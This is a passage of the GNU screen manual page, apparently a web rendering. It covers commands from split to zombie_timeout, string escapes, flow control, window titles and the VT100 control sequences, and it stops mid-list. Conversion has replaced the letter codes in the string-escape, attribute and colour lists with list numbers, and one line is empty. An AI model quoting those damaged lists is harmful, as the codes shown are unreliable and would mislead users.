Split the current region into two new ones. All regions on the display are resized to make room for the new region. The blank window is displayed in the new region. The default is to create a horizontal split, putting the new regions on the top and bottom of each other. Using `-v’ will create a vertical split, causing the new regions to appear side by side of each other. Use the remove or the only command to delete regions. Use focus to toggle between regions.

When a region is split opposite of how it was previously split (that is, vertical then horizontal or horizontal then vertical), a new layer is created. The layer is used to group together the regions that are split the same. Normally, as a user, you should not see nor have to worry about layers, but they will affect how some commands (focus and resize) behave.

With this current implementation of screen, scrolling data will appear much slower in a vertically split region than one that is not. This should be taken into consideration if you need to use system commands such as cat or tail -f.

startup_message [ on | off ]

Select whether you want to see the copyright notice during startup. Default is `on’, as you probably noticed.

status [ top | up | down | bottom ] [ left | right ]

The status window by default is in bottom-left corner. This command can move status messages to any corner of the screen. top is the same as up, down is the same as bottom.

**stuff **[string]

Stuff the string string in the input buffer of the current window. This is like the paste command but with much less overhead. Without a parameter, screen will prompt for a string to stuff. You cannot paste large buffers with the stuff command. It is most useful for key bindings. See also bindkey.

*su *[username [password [password2]]]

Substitute the user of a display. The command prompts for all parameters that are omitted. If passwords are specified as parameters, they have to be specified un-crypted. The first password is matched against the systems passwd database, the second password is matched against the screen password as set with the commands acladd or password. Su may be useful for the screen administrator to test multiuser setups. When the identification fails, the user has access to the commands available for user nobody. These are detach, license, version, help and displays.

suspend

Suspend screen. The windows are in the `detached’ state, while screen is suspended. This feature relies on the shell being able to do job control.

term term

In each window’s environment screen opens, the $TERM variable is set to screen by default. But when no description for screen is installed in the local termcap or terminfo data base, you set $TERM to - say - vt100. This won’t do much harm, as screen is VT100/ANSI compatible. The use of the term command is discouraged for non-default purpose. That is, one may want to specify special $TERM settings (e.g. vt100) for the next screen rlogin othermachine command. Use the command screen -T vt100 rlogin othermachine rather than setting and resetting the default.

termcap* term terminal-tweaks***[window-tweaks*]***
terminfo* term terminal-tweaks***[window-tweaks*]***
termcapinfo* term terminal-tweaks***[window-tweaks*]***

Use this command to modify your terminal’s termcap entry without going through all the hassles involved in creating a custom termcap entry. Plus, you can optionally customize the termcap generated for the windows. You have to place these commands in one of the screenrc startup files, as they are meaningless once the terminal emulator is booted.

If your system uses the terminfo database rather than termcap, screen will understand the `terminfo’ command, which has the same effects as the `termcap’ command. Two separate commands are provided, as there are subtle syntactic differences, e.g. when parameter interpolation (using `%’) is required. Note that termcap names of the capabilities have to be used with the `terminfo’ command.

In many cases, where the arguments are valid in both terminfo and termcap syntax, you can use the command `termcapinfo’, which is just a shorthand for a pair of `termcap’ and `terminfo’ commands with identical arguments.

The first argument specifies which terminal(s) should be affected by this definition. You can specify multiple terminal names by separating them with `|’s. Use `*’ to match all terminals and `vt*’ to match all terminals that begin with vt.

Each tweak argument contains one or more termcap defines (separated by `:’s) to be inserted at the start of the appropriate termcap entry, enhancing it or overriding existing values. The first tweak modifies your terminal’s termcap, and contains definitions that your terminal uses to perform certain functions. Specify a null string to leave this unchanged (e. g. ‘’). The second (optional) tweak modifies all the window termcaps, and should contain definitions that screen understands (see the VIRTUAL TERMINAL section).

Some examples:

termcap xterm* LP:hs@

Informs screen that all terminals that begin with `xterm’ have firm auto-margins that allow the last position on the screen to be updated (LP), but they don’t really have a status line (no ‘hs’ - append `@’ to turn entries off). Note that we assume `LP’ for all terminal names that start with vt, but only if you don’t specify a termcap command for that terminal.

termcap vt* LP

termcap vt102|vt220 Z0=[?3h:Z1=[?3l

Specifies the firm-margined `LP’ capability for all terminals that begin with `vt’, and the second line will also add the escape-sequences to switch into (Z0) and back out of (Z1) 132-character-per-line mode if this is a VT102 or VT220. (You must specify Z0 and Z1 in your termcap to use the width-changing commands.)

termcap vt100 "" l0=PF1:l1=PF2:l2=PF3:l3=PF4

This leaves your vt100 termcap alone and adds the function key labels to each window’s termcap entry.

termcap h19|z19 am@:im=@:ei=O dc=

Takes a h19 or z19 termcap and turns off auto-margins (am@) and enables the insert mode (im) and end-insert (ei) capabilities (the `@’ in the `im’ string is after the `=’, so it is part of the string). Having the `im’ and `ei’ definitions put into your terminal’s termcap will cause screen to automatically advertise the character-insert capability in each window’s termcap. Each window will also get the delete-character capability (dc) added to its termcap, which screen will translate into a line-update for the terminal (we’re pretending it doesn’t support character deletion).

If you would like to fully specify each window’s termcap entry, you should instead set the $SCREENCAP variable prior to running screen. See the discussion on the VIRTUAL TERMINAL in this manual, and the termcap(5) man page for more information on termcap definitions.

time
[string]

Uses the message line to display the time of day, the host name, and the load averages over 1, 5, and 15 minutes (if this is available on your system). For window specific information, use info.

If a string is specified, it changes the format of the time report like it is described in the STRING ESCAPES chapter. Screen uses a default of “%c:%s %M %d %H%? %l%?”.

**title **[windowtitle]

Set the name of the current window to windowtitle. If no name is specified, screen prompts for one. This command was known as `aka’ in previous releases.

**unbindall **

Unbind all the bindings. This can be useful when screen is used solely for its detaching abilities, such as when letting a console application run as a daemon. If, for some reason, it is necessary to bind commands after this, use ‘screen -X’.

**unsetenv **var

Unset an environment variable.

utf8 [ on | off [ on | off ]]

Change the encoding used in the current window. If utf8 is enabled, the strings sent to the window will be UTF-8 encoded and vice versa. Omitting the parameter toggles the setting. If a second parameter is given, the display’s encoding is also changed (this should rather be done with screen’s -U option). See also defutf8, which changes the default setting of a new window.

vbell [ on | off ]

Sets the visual bell setting for this window. Omitting the parameter toggles the setting. If vbell is switched on, but your terminal does not support a visual bell, a `vbell-message’ is displayed in the status line when the bell character (^G) is received. Visual bell support of a terminal is defined by the termcap variable `vb’ (terminfo: ‘flash’).

Per default, vbell is off, thus the audible bell is used. See also `bell_msg’.

*vbell_msg *[message]

Sets the visual bell message. message is printed to the status line if the window receives a bell character (^G), vbell is set to on, but the terminal does not support a visual bell. The default message is Wuff, Wuff!!. Without a parameter, the current message is shown.

**vbellwait **sec

Define a delay in seconds after each display of screen’s visual bell message. The default is 1 second.

verbose [ on | off ]

If verbose is switched on, the command name is echoed, whenever a window is created (or resurrected from zombie state). Default is off. Without a parameter, the current setting is shown.

version

Print the current version and the compile date in the status line.

**wall **message

Write a message to all displays. The message will appear in the terminal’s status line.

width [-w|-d] [**cols **[lines]]

Toggle the window width between 80 and 132 columns or set it to cols columns if an argument is specified. This requires a capable terminal and the termcap entries Z0 and Z1. See the termcap command for more information. You can also specify a new height if you want to change both values. The -w option tells screen to leave the display size unchanged and just set the window size, -d vice versa.

windowlist [ -b ] [ -m ] [ -g ]
*windowlist string *[string]
*windowlist title *[title]

Display all windows in a table for visual window selection. If screen was in a window group, screen will back out of the group and then display the windows in that group. If the -b option is given, screen will switch to the blank window before presenting the list, so that the current window is also selectable. The -m option changes the order of the windows, instead of sorting by window numbers screen uses its internal most-recently-used list. The -g option will show the windows inside any groups in that level and downwards.

The following keys are used to navigate in windowlist:

_
k, C-p, or upMove up one line.
_
j, C-n, or downMove down one line.
_
C-g or escapeExit windowlist.
_
C-a or homeMove to the first line.
_
C-e or endMove to the last line.
_
C-u or C-dMove one half page up or down.
_
C-b or C-fMove one full page up or down.
_
0..9Using the number keys, move to the selected line.
_
mouseclickMove to the selected line. Available when mousetrack is set to on
_
/Search.
_
nRepeat search in the forward direction.
_
NRepeat search in the backward direction.
_
mToggle MRU.
_
gToggle group nesting.
_
aAll window view.
_
C-h or backspaceBack out the group.
_
,Switch numbers with the previous window.
_
.Switch numbers with the next window.
_
KKill that window.
_
space or enterSelect that window.
_

The table format can be changed with the string and title option, the title is displayed as table heading, while the lines are made by using the string setting. The default setting is Num Name%=Flags for the title and %3n %t%=%f for the lines. See the STRING ESCAPES chapter for more codes (e.g. color settings).

Windowlist needs a region size of at least 10 characters wide and 6 characters high in order to display.

windows [ string ]

Uses the message line to display a list of all the windows. Each window is listed by number with the name of process that has been started in the window (or its title); the current window is marked with a `*’; the previous window is marked with a `-’; all the windows that are logged in are marked with a `$’; a background window that has received a bell is marked with a `!’; a background window that is being monitored and has had activity occur is marked with an `@’; a window which has output logging turned on is marked with `(L)’; windows occupied by other users are marked with `&’; windows in the zombie state are marked with `Z’. If this list is too long to fit on the terminal’s status line only the portion around the current window is displayed. The optional string parameter follows the STRING ESCAPES format. If string parameter is passed, the output size is unlimited. The default command without any parameter is limited to a size of 1024 bytes.

wrap [ on | off ]

Sets the line-wrap setting for the current window. When line-wrap is on, the second consecutive printable character output at the last column of a line will wrap to the start of the following line. As an added feature, backspace (^H) will also wrap through the left margin to the previous line. Default is `on’. Without any options, the state of wrap is toggled.

writebuf [-e encoding] [filename]

Writes the contents of the paste buffer to the specified file, or the public accessible screen-exchange file if no filename is given. This is thought of as a primitive means of communication between screen users on the same host. If an encoding is specified the paste buffer is recoded on the fly to match the encoding. The filename can be set with the bufferfile command and defaults to /tmp/screen-exchange.

writelock [ on | off | auto]

In addition to access control lists, not all users may be able to write to the same window at once. Per default, writelock is in `auto’ mode and grants exclusive input permission to the user who is the first to switch to the particular window. When he leaves the window, other users may obtain the writelock (automatically). The writelock of the current window is disabled by the command writelock off. If the user issues the command writelock on he keeps the exclusive write permission while switching to other windows.

xoff
xon

Insert a CTRL-s / CTRL-q character to the stdin queue of the current window.

zmodem [ off | auto | catch | pass ]
*zmodem sendcmd *[string]
*zmodem recvcmd *[string]

Define zmodem support for screen. Screen understands two different modes when it detects a zmodem request: pass and catch. If the mode is set to pass, screen will relay all data to the attacher until the end of the transmission is reached. In catch mode screen acts as a zmodem endpoint and starts the corresponding rz/sz commands. If the mode is set to auto, screen will use catch if the window is a tty (e.g. a serial line), otherwise it will use pass.

You can define the templates screen uses in catch mode via the second and the third form.

Note also that this is an experimental feature.

zombie [keys[onerror]]

Per default screen windows are removed from the window list as soon as the windows process (e.g. shell) exits. When a string of two keys is specified to the zombie command, `dead’ windows will remain in the list. The kill command may be used to remove such a window. Pressing the first key in the dead window has the same effect. When pressing the second key, screen will attempt to resurrect the window. The process that was initially running in the window will be launched again. Calling zombie without parameters will clear the zombie setting, thus making windows disappear when their process exits.

As the zombie-setting is manipulated globally for all windows, this command should probably be called defzombie, but it isn’t.

Optionally you can put the word onerror after the keys. This will cause screen to monitor exit status of the process running in the window. If it exits normally (‘0’), the window disappears. Any other exit value causes the window to become a zombie.

zombie_timeout[seconds]

Per default screen windows are removed from the window list as soon as the windows process (e.g. shell) exits. If zombie keys are defined (compare with above zombie command), it is possible to also set a timeout when screen tries to automatically reconnect a dead screen window.

THE MESSAGE LINE

Screen displays informational messages and other diagnostics in a message line. While this line is distributed to appear at the bottom of the screen, it can be defined to appear at the top of the screen during compilation. If your terminal has a status line defined in its termcap, screen will use this for displaying its messages, otherwise a line of the current screen will be temporarily overwritten and output will be momentarily interrupted. The message line is automatically removed after a few seconds delay, but it can also be removed early (on terminals without a status line) by beginning to type.

The message line facility can be used by an application running in the current window by means of the ANSI Privacy message control sequence. For instance, from within the shell, try something like:

echo ‘<esc>^Hello world from window ‘$WINDOW’<esc>'

where ‘<esc>’ is an escape, ‘^’ is a literal up-arrow, and ‘' turns into a single backslash.

WINDOW TYPES

Screen provides three different window types. New windows are created with screen’s screen command (see also the entry in chapter CUSTOMIZATION). The first parameter to the screen command defines which type of window is created. The different window types are all special cases of the normal type. They have been added in order to allow screen to be used efficiently as a console multiplexer with 100 or more windows.

  • The normal window contains a shell (default, if no parameter is given) or any other system command that could be executed from a shell (e.g. slogin, etc…)

  • If a tty (character special device) name (e.g. /dev/ttya) is specified as the first parameter, then the window is directly connected to this device. This window type is similar to screen cu -l /dev/ttya. Read and write access is required on the device node, an exclusive open is attempted on the node to mark the connection line as busy. An optional parameter is allowed consisting of a comma separated list of flags in the notation used by stty(1):

    <baud_rate>
    Usually 300, 1200, 9600 or 19200. This affects transmission as well as receive speed.

    cs8 or cs7
    Specify the transmission of eight (or seven) bits per byte.

    cstopb or -cstopb
    Specify two stop bits per character (one with ‘-’)

    parenb or -parenb
    Generate parity bit in output and expect parity bit in input

    parodd or -parodd
    Set odd parity (or even parity with ‘-’)

    ixon or -ixon
    Enables (or disables) software flow-control (CTRL-S/CTRL-Q) for sending data.

    ixoff or -ixoff
    Enables (or disables) software flow-control for receiving data.

    istrip or -istrip
    Clear (or keep) the eight bit in each received byte.

    You may want to specify as many of these options as applicable. Unspecified options cause the terminal driver to make up the parameter values of the connection. These values are system dependent and may be in defaults or values saved from a previous connection.

    For tty windows, the info command shows some of the modem control lines in the status line. These may include `RTS’, `CTS’, ‘DTR’, `DSR’, `CD’ and more. This depends on the available ioctl()’s and system header files as well as the on the physical capabilities of the serial board. Signals that are logical low (inactive) have their name preceded by an exclamation mark (!), otherwise the signal is logical high (active). Signals not supported by the hardware but available to the ioctl() interface are usually shown low.

    When the CLOCAL status bit is true, the whole set of modem signals is placed inside curly braces ({ and }). When the CRTSCTS or TIOCSOFTCAR bit is set, the signals `CTS’ or `CD’ are shown in parenthesis, respectively.

    For tty windows, the command break causes the Data transmission line (TxD) to go low for a specified period of time. This is expected to be interpreted as break signal on the other side. No data is sent and no modem control line is changed when a break is issued.

  • If the first parameter is //telnet, the second parameter is expected to be a host name, and an optional third parameter may specify a TCP port number (default decimal 23). Screen will connect to a server listening on the remote host and use the telnet protocol to communicate with that server.

For telnet windows, the command info shows details about the connection in square brackets ([ and ]) at the end of the status line.

  1. BINARY. The connection is in binary mode.

  2. ECHO. Local echo is disabled.

  3. SGA. The connection is in `character mode’ (default: `line mode’).

  4. TTYPE. The terminal type has been requested by the remote host. Screen sends the name screen unless instructed otherwise (see also the command `term’).

  5. NAWS. The remote site is notified about window size changes.

  6. LFLOW. The remote host will send flow control information. (Ignored at the moment.)

Additional flags for debugging are x, t and n (XDISPLOC, TSPEED and NEWENV).

For telnet windows, the command break sends the telnet code IAC BREAK (decimal 243) to the remote host.

This window type is only available if screen was compiled with the ENABLE_TELNET option defined.

STRING ESCAPES

Screen provides an escape mechanism to insert information like the current time into messages or file names. The escape character is ‘%’ with one exception: inside of a window’s hardstatus ‘^%’ (’^E’) is used instead.

Here is the full list of supported escapes:

%
the escape character itself

  1. sets %? to true if the escape character has been pressed.
  1. encoding

  2. flags of the window, see windows for meanings of the various flags

  1. sets %? to true if the window has the focus
  1. hardstatus of the window
  1. hostname of the system
  1. window number
  1. sets %? to true if the current region is in copy/paste mode

  2. session name

  1. window size

  2. window title

  3. all other users on this window

  4. all window numbers and names. With ‘-’ qualifier: up to the current window; with ‘+’ qualifier: starting with the window after the current one.

  1. all window numbers and names except the current one
  1. the executed command including arguments running in this windows
  1. the executed command without arguments running in this windows
?
the part to the next ‘%?’ is displayed only if a ‘%’ escape inside the part expands to a non-empty string

else part of ‘%?’

=
pad the string to the display’s width (like TeX’s hfill). If a number is specified, pad to the percentage of the window’s width. A ‘0’ qualifier tells screen to treat the number as absolute position. You can specify to pad relative to the last absolute pad position by adding a ‘+’ qualifier or to pad relative to the right margin by using ‘-’. The padding truncates the string if the specified position lies before the current position. Add the ‘L’ qualifier to change this.

<
same as ‘%=’ but just do truncation, do not fill with spaces

>
mark the current text position for the next truncation. When screen needs to do truncation, it tries to do it in a way that the marked position gets moved to the specified percentage of the output area. (The area starts from the last absolute pad position and ends with the position specified by the truncation operator.) The ‘L’ qualifier tells screen to mark the truncated parts with ‘…’.

{
attribute/color modifier string terminated by the next }

`
Substitute with the output of a ‘backtick’ command. The length qualifier is misused to identify one of the commands.

The ‘c’ and ‘C’ escape may be qualified with a ‘0’ to make screen use zero instead of space as fill character. The ‘0’ qualifier also makes the ‘=’ escape use absolute positions. The ’n’ and ‘=’ escapes understand a length qualifier (e.g. ‘%3n’), ‘D’ and ‘M’ can be prefixed with ‘L’ to generate long names, ‘w’ and ‘W’ also show the window flags if ‘L’ is given.

An attribute/color modifier is used to change the attributes or the color settings. Its format is [attribute modifier] [color description]. The attribute modifier must be prefixed by a change type indicator if it can be confused with a color description. The following change types are known:

  • add the specified set to the current attributes

  • remove the set from the current attributes

!
invert the set in the current attributes

=
change the current attributes to the specified set

The attribute set can either be specified as a hexadecimal number or a combination of the following letters:

  1. dim
  1. underline

  2. bold

  3. reverse

  4. /standout

  1. blinking

Colors are coded either as a hexadecimal number or two letters specifying the desired background and foreground color (in that order). The following colors are known:

  1. black
  1. red

  2. green

  3. yellow

  4. blue

  5. magenta

  6. cyan

  7. white

  8. default color

.
leave color unchanged

The capitalized versions of the letter specify bright colors. You can also use the pseudo-color ‘i’ to set just the brightness and leave the color unchanged.
A one digit/letter color description is treated as foreground or background color dependent on the current attributes: if reverse mode is set, the background color is changed instead of the foreground color. If you don’t like this, prefix the color with a .. If you want the same behavior for two-letter color descriptions, also prefix them with a ..
As a special case, %{-} restores the attributes and colors that were set before the last change was made (i.e., pops one level of the color-change stack).

Examples:

  1. set color to bright green

+b r
use bold red

= yd
clear all attributes, write in default color on yellow background.

%-Lw%{= BW}%50>%n%f* %t%{-}%+Lw%<
The available windows centered at the current window and truncated to the available width. The current window is displayed white on blue. This can be used with hardstatus alwayslastline.

%?%F%{.R.}%?%3n %t%? [%h]%?
The window number and title and the window’s hardstatus, if one is set. Also use a red background if this is the active focus. Useful for caption string.

FLOW-CONTROL

Each window has a flow-control setting that determines how screen deals with the XON and XOFF characters (and perhaps the interrupt character). When flow-control is turned off, screen ignores the XON and XOFF characters, which allows the user to send them to the current program by simply typing them (useful for the emacs editor, for instance). The trade-off is that it will take longer for output from a normal program to pause in response to an XOFF. With flow-control turned on, XON and XOFF characters are used to immediately pause the output of the current window. You can still send these characters to the current program, but you must use the appropriate two-character screen commands (typically C-a q (xon) and C-a s (xoff)). The xon/xoff commands are also useful for typing C-s and C-q past a terminal that intercepts these characters.

Each window has an initial flow-control value set with either the -f option or the defflow .screenrc command. Per default the windows are set to automatic flow-switching. It can then be toggled between the three states ‘fixed on’, ‘fixed off’ and ‘automatic’ interactively with the flow command bound to “C-a f”.

The automatic flow-switching mode deals with flow control using the TIOCPKT mode (like rlogin does). If the tty driver does not support TIOCPKT, screen tries to find out the right mode based on the current setting of the application keypad - when it is enabled, flow-control is turned off and visa versa. Of course, you can still manipulate flow-control manually when needed.

If you’re running with flow-control enabled and find that pressing the interrupt key (usually C-c) does not interrupt the display until another 6-8 lines have scrolled by, try running screen with the interrupt option (add the interrupt flag to the flow command in your .screenrc, or use the -i command-line option). This causes the output that screen has accumulated from the interrupted program to be flushed. One disadvantage is that the virtual terminal’s memory contains the non-flushed version of the output, which in rare cases can cause minor inaccuracies in the output. For example, if you switch screens and return, or update the screen with C-a l you would see the version of the output you would have gotten without interrupt being on. Also, you might need to turn off flow-control (or use auto-flow mode to turn it off automatically) when running a program that expects you to type the interrupt character as input, as it is possible to interrupt the output of the virtual terminal to your physical terminal when flow-control is enabled. If this happens, a simple refresh of the screen with C-a l will restore it. Give each mode a try, and use whichever mode you find more comfortable.

TITLES (naming windows)

You can customize each window’s name in the window display (viewed with the windows command (C-a w)) by setting it with one of the title commands. Normally the name displayed is the actual command name of the program created in the window. However, it is sometimes useful to distinguish various programs of the same name or to change the name on-the-fly to reflect the current state of the window.

The default name for all shell windows can be set with the shelltitle command in the .screenrc file, while all other windows are created with a screen command and thus can have their name set with the -t option. Interactively, there is the title-string escape-sequence (<esc>kname<esc>\ and the title command (C-a A). The former can be output from an application to control the window’s name under software control, and the latter will prompt for a name when typed. You can also bind pre-defined names to keys with the title command to set things quickly without prompting. Changing title by this escape sequence can be controlled by defdynamictitle and dynamictitle commands.

Finally, screen has a shell-specific heuristic that is enabled by setting the window’s name to search|name and arranging to have a null title escape-sequence output as a part of your prompt. The search portion specifies an end-of-prompt search string, while the name portion specifies the default shell name for the window. If the name ends in a `:’ screen will add what it believes to be the current command running in the window to the end of the window’s shell name (e. g. name:cmd). Otherwise the current command name supersedes the shell name while it is running.

Here’s how it works: you must modify your shell prompt to output a null title-escape-sequence (<esc>k<esc>\ as a part of your prompt. The last part of your prompt must be the same as the string you specified for the search portion of the title. Once this is set up, screen will use the title-escape-sequence to clear the previous command name and get ready for the next command. Then, when a newline is received from the shell, a search is made for the end of the prompt. If found, it will grab the first word after the matched string and use it as the command name. If the command name begins with either ‘!’, ‘%’, or ‘^’ screen will use the first word on the following line (if found) in preference to the just-found name. This helps csh users get better command names when using job control or history recall commands.

Here’s some .screenrc examples:

	screen -t top 2 nice top

Adding this line to your .screenrc would start a nice-d version of the top command in window 2 named top rather than nice.

	shelltitle '> |csh'
	screen 1

These commands would start a shell with the given shelltitle. The title specified is an auto-title that would expect the prompt and the typed command to look something like the following:

	/usr/joe/src/dir> trn

(it looks after the ‘> ’ for the command name). The window status would show the name trn while the command was running, and revert to csh upon completion.

	bind R screen -t '% |root:' su

Having this command in your .screenrc would bind the key sequence C-a R to the su command and give it an auto-title name of root:. For this auto-title to work, the screen could look something like this:

	% !em
	emacs file.c

Here the user typed the csh history command !em which ran the previously entered emacs command. The window status would show root:emacs during the execution of the command, and revert to simply root: at its completion.

	bind o title
	bind E title ""
	bind u title (unknown)

The first binding doesn’t have any arguments, so it would prompt you for a title when you type C-a o. The second binding would clear an auto-title’s current setting (C-a E). The third binding would set the current window’s title to (unknown) (C-a u).

One thing to keep in mind when adding a null title-escape-sequence to your prompt is that some shells (like the csh) count all the non-control characters as part of the prompt’s length. If these invisible characters aren’t a multiple of 8 then backspacing over a tab will result in an incorrect display. One way to get around this is to use a prompt like this:

	set prompt='^[[0000m^[k^[\% '

The escape-sequence <esc>[0000m not only normalizes the character attributes, but all the zeros round the length of the invisible characters up to 8. Bash users will probably want to echo the escape sequence in the PROMPT_COMMAND:

	PROMPT_COMMAND='printf "k\134"'

(I used \134 to output a `\ because of a bug in bash v1.04).

THE VIRTUAL TERMINAL

Each window in a screen session emulates a VT100 terminal, with some extra functions added. The VT100 emulator is hard-coded, no other terminal types can be emulated.
Usually screen tries to emulate as much of the VT100/ANSI standard as possible. But if your terminal lacks certain capabilities, the emulation may not be complete. In these cases screen has to tell the applications that some of the features are missing. This is no problem on machines using termcap, because screen can use the $TERMCAP variable to customize the standard screen termcap.

But if you do a rlogin on another machine or your machine supports only terminfo this method fails. Because of this, screen offers a way to deal with these cases. Here is how it works:

When screen tries to figure out a terminal name for itself, it first looks for an entry named screen.<term>, where <term> is the contents of your $TERM variable. If no such entry exists, screen tries screen (or screen-w if the terminal is wide (132 cols or more)). If even this entry cannot be found, vt100 is used as a substitute.

The idea is that if you have a terminal which doesn’t support an important feature (e.g. delete char or clear to EOS) you can build a new termcap/terminfo entry for screen (named screen.<dumbterm>) in which this capability has been disabled. If this entry is installed on your machines you are able to do a rlogin and still keep the correct termcap/terminfo entry. The terminal name is put in the $TERM variable of all new windows. Screen also sets the $TERMCAP variable reflecting the capabilities of the virtual terminal emulated. Notice that, however, on machines using the terminfo database this variable has no effect. Furthermore, the variable $WINDOW is set to the window number of each window.

The actual set of capabilities supported by the virtual terminal depends on the capabilities supported by the physical terminal. If, for instance, the physical terminal does not support underscore mode, screen does not put the `us’ and `ue’ capabilities into the window’s $TERMCAP variable, accordingly. However, a minimum number of capabilities must be supported by a terminal in order to run screen; namely scrolling, clear screen, and direct cursor addressing (in addition, screen does not run on hardcopy terminals or on terminals that over-strike).

Also, you can customize the $TERMCAP value used by screen by using the termcap .screenrc command, or by defining the variable $SCREENCAP prior to startup. When the latter is defined, its value will be copied verbatim into each window’s $TERMCAP variable. This can either be the full terminal definition, or a filename where the terminal screen (and/or screen-w) is defined.

Note that screen honors the terminfo .screenrc command if the system uses the terminfo database rather than termcap.

When the boolean `G0’ capability is present in the termcap entry for the terminal on which screen has been called, the terminal emulation of screen supports multiple character sets. This allows an application to make use of, for instance, the VT100 graphics character set or national character sets. The following control functions from ISO 2022 are supported: lock shift G0 (SI), lock shift G1 (SO), lock shift G2, lock shift G3, single shift G2, and single shift G3. When a virtual terminal is created or reset, the ASCII character set is designated as G0 through G3. When the `G0’ capability is present, screen evaluates the capabilities `S0’, `E0’, and `C0’ if present. `S0’ is the sequence the terminal uses to enable and start the graphics character set rather than SI. `E0’ is the corresponding replacement for SO. `C0’ gives a character by character translation string that is used during semi-graphics mode. This string is built like the `acsc’ terminfo capability.

When the `po’ and `pf’ capabilities are present in the terminal’s termcap entry, applications running in a screen window can send output to the printer port of the terminal. This allows a user to have an application in one window sending output to a printer connected to the terminal, while all other windows are still active (the printer port is enabled and disabled again for each chunk of output). As a side-effect, programs running in different windows can send output to the printer simultaneously. Data sent to the printer is not displayed in the window. The info command displays a line starting `PRIN’ while the printer is active.

Screen maintains a hardstatus line for every window. If a window gets selected, the display’s hardstatus will be updated to match the window’s hardstatus line. If the display has no hardstatus the line will be displayed as a standard screen message. The hardstatus line can be changed with the ANSI Application Program Command (APC): ESC_<string>ESC\ As a convenience for xterm users the sequence ESC]0..2;<string>^G is also accepted.

Some capabilities are only put into the $TERMCAP variable of the virtual terminal if they can be efficiently implemented by the physical terminal. For instance, `dl’ (delete line) is only put into the $TERMCAP variable if the terminal supports either delete line itself or scrolling regions. Note that this may provoke confusion, when the session is reattached on a different terminal, as the value of $TERMCAP cannot be modified by parent processes.

The “alternate screen” capability is not enabled by default. Set the altscreen .screenrc command to enable it.

The following is a list of control sequences recognized by screen. (V) and (A) indicate VT100-specific and ANSI- or ISO-specific functions, respectively.

ESC E
Next Line

ESC D
Index

ESC M
Reverse Index

ESC H
Horizontal Tab Set

ESC Z
Send VT100 Identification String

ESC 7 (V)
Save Cursor and Attributes

ESC 8 (V)
Restore Cursor and Attributes

ESC [s (A)
Save Cursor and Attributes

ESC [u (A)
Restore Cursor and Attributes

ESC c
Reset to Initial State

ESC g
Visual Bell

ESC Pn p
Cursor Visibility (97801)

Pn = 6
Invisible

Pn = 7
Visible

ESC = (V)
Application Keypad Mode

ESC > (V)
Numeric Keypad Mode

ESC # 8 (V)
Fill Screen with E’s

*ESC * (A)
String Terminator

ESC ^ (A)
Privacy Message String (Message Line)

ESC !
Global Message String (Message Line)

ESC k
A. k. a. Definition String

ESC P (A)
Device Control String. Outputs a string directly to the host terminal without interpretation.

ESC _ (A)
Application Program Command (Hardstatus)

ESC ] 0 ; string ^G (A)
Operating System Command (Hardstatus, xterm title hack)

ESC ] 83 ; cmd ^G (A)
Execute screen command. This only works if multi-user support is compiled into screen. The pseudo-user :window: is used to check the access control list. Use addacl :window: -rwx #? to create a user with no rights and allow only the needed commands.

Control-N (A)
Lock Shift G1 (SO)

Control-O (A)
Lock Shift G0 (SI)

ESC n (A)
Lock Shift G2

ESC o (A)
Lock Shift G3

ESC N (A)
Single Shift G2

ESC O (A)
Single Shift G3

ESC ( Pcs (A)
Designate character set as G0

ESC ) Pcs (A)
Designate character set as G1

ESC * Pcs (A)
Designate character set as G2

ESC + Pcs (A)
Designate character set as G3

ESC [ Pn ; Pn H
Direct Cursor Addressing

ESC [ Pn ; Pn f
same as above

ESC [ Pn J
Erase in Display

Pn = None or 0
From Cursor to End of Screen

Pn = 1
From Beginning of Screen to Cursor

Pn = 2
Entire Screen

ESC [ Pn K
Erase in Line

Pn = None or 0
From Cursor to End of Line

Pn = 1
From Beginning of Line to Cursor

Pn = 2
Entire Line

ESC [ Pn X
Erase character

ESC [ Pn A
Cursor Up

ESC [ Pn B
Cursor Down

ESC [ Pn C
Cursor Right

ESC [ Pn D
Cursor Left

ESC [ Pn E
Cursor next line

ESC [ Pn F
Cursor previous line

ESC [ Pn G
Cursor horizontal position

ESC [ Pn `
same as above

ESC [ Pn d
Cursor vertical position

ESC [ Ps ;…; Ps m
Select Graphic Rendition

Ps = None or 0
Default Rendition

Ps = 1
Bold

Ps = 2 (A)
Faint

Ps = 3 (A)
Standout Mode (ANSI: Italicized)

Ps = 4
Underlined

Ps = 5
Blinking

Ps = 7
Negative Image

Ps = 22 (A)
Normal Intensity

Ps = 23 (A)
Standout Mode off (ANSI: Italicized off)

Ps = 24 (A)
Not Underlined

Ps = 25 (A)
Not Blinking

Ps = 27 (A)
Positive Image

Ps = 30 (A)
Foreground Black

Ps = 31 (A)
Foreground Red

Ps = 32 (A)
Foreground Green

Ps = 33 (A)
Foreground Yellow

Ps = 34 (A)
Foreground Blue

Ps = 35 (A)
Foreground Magenta

Ps = 36 (A)
Foreground Cyan

Ps = 37 (A)
Foreground White

Ps = 39 (A)
Foreground Default

Ps = 40 (A)
Background Black

Ps =
Ps = 49 (A)
Background Default

ESC [ Pn g
Tab Clear

Pn = None or 0
Clear Tab at Current Position

Pn = 3
Clear All Tabs

ESC [ Pn ; Pn r (V)
Set Scrolling Region

ESC [ Pn I (A)
Horizontal Tab

ESC [ Pn Z (A)
Backward Tab

ESC [ Pn L (A)
Insert Line

ESC [ Pn M (A)
Delete Line

ESC [ Pn @ (A)
Insert Character

ESC [ Pn P (A)
Delete Character

ESC [ Pn S
Scroll Scrolling Region Up

ESC [ Pn T
Scroll Scrolling Region Down

ESC [ Pn ^
same as above

ESC [ Ps ;…; Ps h
Set Mode

ESC [ Ps ;…; Ps l
Reset Mode

Ps = 4 (A)
Insert Mode

Ps = 20 (A)
Automatic Linefeed Mode

Ps = 34
Normal Cursor Visibility

Ps = ?1 (V)
Application Cursor Keys

Ps = ?3 (V)
Change Terminal Width to 132 columns

Ps = ?5 (V)
Reverse Video

Ps = ?6 (V)
Origin Mode

Ps = ?7 (V)
Wrap Mode

Ps = ?9
X10 mouse tracking

Ps = ?25 (V)
Visible Cursor

Ps = ?47
Alternate Screen (old xterm code)

Ps = ?1000 (V)
VT200 mouse tracking

Ps = ?1047
Alternate Screen (new xterm code)

Ps = ?1049
Alternate Screen (new xterm code)

ESC [ 5 i (A)
Start relay to printer (ANSI Media Copy)

ESC [ 4 i (A)
Stop relay to printer (ANSI Media Copy)

ESC [ 8 ; Ph ; Pw t
Resize the window to `Ph’ lines and `Pw’ columns (SunView special)

ESC [ c
Send VT100 Identification String

ESC [ x
Send Terminal Parameter Report

ESC [ > c
Send VT220 Secondary Device Attributes String

ESC [ 6 n
